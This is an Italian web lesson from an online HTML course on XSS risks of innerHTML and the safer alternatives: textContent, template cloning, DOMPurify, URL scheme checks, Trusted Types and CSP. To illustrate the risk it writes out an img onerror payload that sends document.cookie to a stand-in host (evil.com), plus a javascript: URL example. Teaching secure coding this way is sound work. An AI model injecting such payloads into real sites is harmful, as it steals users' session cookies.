HTML Academy · Lezione

Template e sicurezza di innerHTML

Capire perché i template sono più sicuri dell’impostazione di innerHTML

Lezione 4 di 413 passaggi

Template e sicurezza di innerHTML è una lezione HTML Academy gratuita su CoddyKit. Questa è la lezione 4 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento HTML Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso HTML Academy include 4 lezioni in totale.

Rischio di iniezione tramite innerHTML

L'impostazione di el.innerHTML = userInput analizza la stringa come HTML. Se userInput contiene <script> o gestori di eventi come onerror, il browser li esegue, creando una vulnerabilità di Cross-Site Scripting (XSS).

Esempio di XSS tramite innerHTML

Un aggressore invia un nome utente: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Se viene visualizzato con innerHTML, onerror viene eseguito ed esfiltra il cookie di sessione. Il contenuto testuale diventa codice eseguibile.

textContent è sicuro

el.textContent = userInput tratta la stringa come testo semplice: nessuna analisi HTML e nessuna esecuzione di script. Il browser esegue automaticamente l'escape di < e > nei nodi di testo. Usi sempre textContent per i valori forniti dagli utenti.

// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;

L'elemento template evita l'analisi delle stringhe

Quando usa template.cloneNode(true), la struttura proviene da un template HTML già analizzato, non da una stringa fornita dall'utente. L'impostazione dei valori tramite textContent sui nodi clonati mantiene i dati dell'utente nei nodi di testo, mai nell'HTML analizzato. Struttura e dati rimangono separati.

Sanificazione quando è necessario usare innerHTML

Se è necessaria la formattazione HTML fornita dagli utenti (testo avanzato), esegua la sanificazione prima di impostare innerHTML. DOMPurify è la libreria standard: el.innerHTML = DOMPurify.sanitize(richHtml). Rimuove tag e attributi pericolosi preservando la formattazione sicura.

Rischio di insertAdjacentHTML

insertAdjacentHTML("beforeend", html) analizza anch'esso stringhe HTML: presenta lo stesso rischio XSS di innerHTML. Applichi le stesse regole di sanificazione. L'alternativa più sicura consiste nel creare elementi con createElement, impostare il loro textContent e usare appendChild.

Sicurezza di setAttribute

L'impostazione di attributi con dati forniti dall'utente può creare un'iniezione: el.setAttribute("href", userUrl) dove userUrl è javascript:alert(1) crea un attacco XSS. Convalidi gli schemi degli URL: consenta solo http:, https: e mailto: prima di impostare gli attributi href o src.

DOM clobbering

Il DOM clobbering è un attacco in cui gli elementi di modulo denominati (id="getElementById") sovrascrivono le variabili JavaScript globali. Acceda sempre agli elementi tramite document.getElementById() invece di usare le proprietà globali di window. Anche la Content Security Policy contribuisce a mitigare gli attacchi di clobbering.

Policy Trusted Types

Trusted Types (in Chrome, applicato tramite CSP) richiede che innerHTML, insertAdjacentHTML e sink simili ricevano stringhe racchiuse in una policy. Non è possibile assegnare stringhe non elaborate: sono consentiti solo i valori creati da una policy TrustedTypes dichiarata. Questo impedisce di eludere accidentalmente la sanificazione.

Sicurezza dei DocumentFragment

La creazione di elementi con l'API DOM (createElement, createTextNode) e la loro manipolazione in un DocumentFragment è intrinsecamente sicura rispetto a XSS: il testo è sempre testo e non viene mai analizzato come HTML. I DocumentFragment sono il modo più sicuro per costruire interfacce dinamiche complesse.

Content Security Policy

Una CSP rigorosa (senza unsafe-inline e con script basati su nonce) offre una protezione aggiuntiva contro gli attacchi XSS. Anche se un aggressore inietta HTML, la CSP impedisce l'esecuzione degli script iniettati. La CSP non elimina la necessità della sanificazione: è una rete di sicurezza, non la difesa principale.

Verifica delle conoscenze

Perché textContent è più sicuro di innerHTML per visualizzare dati forniti dagli utenti?

Riepilogo

innerHTML e le API correlate analizzano stringhe HTML, creando vulnerabilità XSS quando i dati degli utenti vengono interpolati senza sanificazione. L'uso di textContent, della clonazione di template con compilazione tramite textContent, di DOMPurify per il testo avanzato e della Content Security Policy crea una difesa a più livelli contro gli attacchi di iniezione HTML.

Gratis per iniziare

Impara HTML con un tutor IA — gratis

Scrivi ed esegui vero codice nel tuo browser, ricevi aiuto istantaneo da un tutor IA disponibile 24/7, e riprendi da dove hai lasciato sul web o nell'app.

Corsi
40
Lezioni
159

Domande Frequenti

La lezione «Template e sicurezza di innerHTML» è gratuita?

Sì — il testo completo di «Template e sicurezza di innerHTML» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso HTML Academy, passa a CoddyKit PRO. Il corso HTML Academy include 4 lezioni in totale.

Cosa imparerò in «Template e sicurezza di innerHTML»?

Capire perché i template sono più sicuri dell’impostazione di innerHTML Eserciti HTML Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare HTML Academy?

Non è richiesta alcuna esperienza precedente. HTML Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 4 di 4.

Quanto tempo richiede la lezione «Template e sicurezza di innerHTML»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione HTML Academy?

Sì. Ogni lezione HTML Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. L’elemento template: contenuto inattivo
  2. Clonare i template con cloneNode
  3. Usare template per il rendering con JavaScript
  4. Template e sicurezza di innerHTML
← Torna a HTML Academy